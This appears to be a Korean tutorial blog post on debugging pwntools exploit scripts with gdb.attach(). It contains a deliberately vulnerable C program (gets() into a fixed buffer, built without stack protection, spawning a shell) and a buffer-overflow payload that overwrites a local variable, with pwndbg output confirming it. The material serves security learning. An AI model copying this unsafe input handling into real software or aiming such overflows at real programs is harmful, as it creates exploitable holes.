gdb.attach()
파이썬 익스플로잇 코드를 작성한 뒤, gdb를 통해 익스플로잇 코드와 함께 바이너리를 디버깅을하고 싶을때 gdb.attach()
를 사용한다.
gdb.attach()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// test
// gcc -o test test.c -fno-stack-protector
#include <stdio.h>
void present()
{
system("/bin/sh");
}
int main()
{
int changeit = 1337;
char buf[32] = { 0, };
gets(buf);
if (changeit == 0xdeadbeef)
{
printf("Congraz!!\n");
present();
}
return 0;
}
위 예시 코드를 기반으로 익스플로잇 코드와 gdb.attach()를 사용해본다.
1
2
3
4
5
6
7
8
9
10
11
12
13
# ex.py
from pwn import *
p = process('./test')
payload = b"A"*44
payload += p64(0xdeadbeef)
gdb.attach(p) # gdb.attach() 사용
p.sendline(payload)
p.interactive()
gdb.attach
()가 안될 시, 원하는 곳에pause()
를 놓고 실행한 다음 새 터미널 창에서sudo gdb attach -p [pid]
로 수동으로 디버깅 한다.
gdb.attach()가 실행된다면, 새 창에서 gdb가 열린다.
자신이 원하는 부분에 bp
를 설정하고 c
명령어로 실행한다.
1
2
3
4
5
6
pwndbg> b * main+68
Breakpoint 1 at 0x60de1d0b31ec
pwndbg> c
Continuing.
Breakpoint 1, 0x000060de1d0b31ec in main ()
해당 부분을 확인해보면 changeit
이 0xdeadbeef
로 바뀐 것을 볼 수 있다.
1
2
pwndbg> x/x $rbp - 4
0x7ffe8ce1c5dc: 0xdeadbeef